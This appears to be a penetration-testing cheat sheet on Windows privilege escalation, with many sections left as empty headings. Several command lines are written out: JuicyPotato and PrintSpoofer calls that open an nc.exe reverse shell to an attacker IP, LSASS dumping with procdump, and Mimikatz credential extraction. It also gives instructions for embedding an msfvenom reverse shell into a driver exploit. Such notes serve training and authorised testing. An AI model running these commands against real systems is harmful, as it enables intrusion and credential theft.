Privilege Escalation Techniques

SeImpersonate and SeAssignPrimaryToken

  • JuicyPotato can be used to exploit the SeImpersonateor SeAssignPrimaryToken privileges via DCOM/NTLM reflection abuse.

    c:\\tools\\JuicyPotato.exe -l 53375 -p c:\\windows\\system32\\cmd.exe -a "/c c:\\tools\\nc.exe ip 8443 -e cmd.exe" -t *
  • JuicyPotato doesn't work on Windows Server 2019 and Windows 10 build 1809 onwards. However, PrintSpoofer and RoguePotato can be used to leverage the same privileges and gain NT AUTHORITY\\SYSTEMlevel access.

    # start a listener on kali and run this command on windows target host
    PrintSpoofer.exe -c "c:\\tools\\nc.exe ip 8443 -e cmd"

SeDebugPrivilege

  • We can use ProcDump from the SysInternals suite to leverage this privilege and dump process memory. A good candidate is the Local Security Authority Subsystem Service (LSASS) process, which stores user credentials after a user logs on to a system.

    procdump.exe -accepteula -ma lsass.exe lsass.dmp
  • we can load this in Mimikatzusing the sekurlsa::minidumpcommand. After issuing the sekurlsa::logonPasswordscommands, we gain the NTLM hash of the local administrator account logged on locally. We can use this to perform a pass-the-hash attack to move laterally if the same local administrator password is used on one or multiple additional systems

    # Starting mimikatz 
    mimikatz.exe
    
    # extracting hashes from lsass.dmp file
    sekurlsa::minidump lsass.dmp
    sekurlsa::logonpasswords

    Remote Code Execution as SYSTEM

    • transfer this PoC script over to the target system. Next we just load the script and run it with the following syntax[MyProcess]::CreateProcessFromParent(<system_pid>,<command_to_execute>,""). Note that we must add a third blank argument "" at the end for the PoC to work properly.

    # First, open an elevated PowerShell console (right-click, run as admin, and type in the credentials for the user). 
    # Next, type tasklist to get a listing of running processes and accompanying PIDs.
    tasklist
    
    # running poc to get system shell, or reverse shell as system
    .\\psgetsys.ps1 [MyProcess]::CreateProcessFromParent(<system_pid>,<command_to_execute>,"")

SeTakeOwnershipPrivilege

  • Enabling SeTakeOwnershipPrivilege - We can enable it using this script which is detailed in this blog post, as well as this one which builds on the initial concept.

  • Some local files of interest may include:

Backup Operators Group / SeBackupPrivilege

  • Membership of this group grants its members the SeBackupand SeRestoreprivileges. The SeBackupPrivilege allows us to traverse any folder and list the folder contents. This will let us copy a file from a folder, even if there is no access control entry (ACE) for us in the folder's access control list (ACL). We can't do this using the standard copy command. Instead, we need to programmatically copy the data, making sure to specify the FILE_FLAG_BACKUP_SEMANTICS flag.

  • We can use this PoC to exploit the SeBackupPrivilege, and copy this file. First, let's import the libraries in a PowerShell session.

  • Enabling SeBackupPrivilege - Set-SeBackupPrivilege

Attacking a Domain Controller - Copying NTDS.dit

  • As the NTDS.dit file is locked by default, we can use the Windows diskshadow utility to create a shadow copy of the Cdrive and expose it as E drive. The NTDS.dit in this shadow copy won't be in use by the system.

Event Log Readers Group

  • Administrators or members of the Event Log Readers group have permission to access local system log.

  • Confirming Group Membership - net localgroup "Event Log Readers"

  • We can query Windows events from the command line using the wevtutil utility and the Get-WinEvent PowerShell cmdlet.

DnsAdmins Group

  • DNS management is performed over RPC

  • ServerLevelPluginDll allows us to load a custom DLL with zero verification of the DLL's path. This can be done with the dnscmd tool from the command line

  • When a member of the DnsAdmins group runs the dnscmd command below, the HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\DNS\\Parameters\\ServerLevelPluginDll registry key is populated

  • When the DNS service is restarted, the DLL in this path will be loaded (i.e., a network share that the Domain Controller's machine account can access)

  • An attacker can load a custom DLL to obtain a reverse shell or even load a tool such as Mimikatz as a DLL to dump credentials.

Leveraging DnsAdmins Access

  • With the registry setting containing the path of our malicious plugin configured, and our payload created, the DLL will be loaded the next time the DNS service is started. Membership in the DnsAdmins group doesn't give the ability to restart the DNS service, but this is conceivably something that sysadmins might permit DNS admins to do.

Cleaning Up

Using Mimilib.dll

  • we could also utilize mimilib.dll from the creator of the Mimikatztool to gain command execution by modifying the kdns.c file to execute a reverse shell one-liner or another command of our choosing.

  • We can use this tool to load the driver. The PoC enables the privilege as well as loads the driver for us.

  • Download it locally and edit it, pasting over the includes below.

    Alternate Exploitation - No GUI

    • If we do not have GUI access to the target, we will have to modify the ExploitCapcom.cpp code before compiling. Here we can edit line 292 and replace C:\Windows\system32\cmd.exe" with, say, a reverse shell binary created with msfvenom, for example: c:\ProgramData\revshell.exe.

    • We would set up a listener based on the msfvenom payload we generated and hopefully receive a reverse shell connection back when executing ExploitCapcom.exe. If a reverse shell connection is blocked for some reason, we can try a bind shell or exec/add user payload.

    Automating with EopLoadDriver

    • We can use a tool such as EoPLoadDriver to automate the process of enabling the privilege, creating the registry key, and executing NTLoadDriverto load the driver. To do this, we would run the following:

    Clean-up

Server Operators Group

Weak Permissions

Permissive File System ACLs

Weak Service Permissions

Cleanup

Unquoted Service Path

Kernel Exploits

Checking Permissions on the SAM File

Performing Attack and Parsing Password Hashes

This PoC by @cube0x0 can be used to perform the entire attack, including dumping the NTLM hashes from the SAM database, directly in the console.

Vulnerable Services

Credential Theft

Manually Searching the File System for Credentials

Saved Credentials

Lazagne

https://github.com/AlessandroZ/LaZagne

Wifi Passwords

Pillaging

Installed Applications

AlwaysInstallElevated

Scheduled Tasks

User/Computer Description Field

Mount VHDX/VMDK

Last updated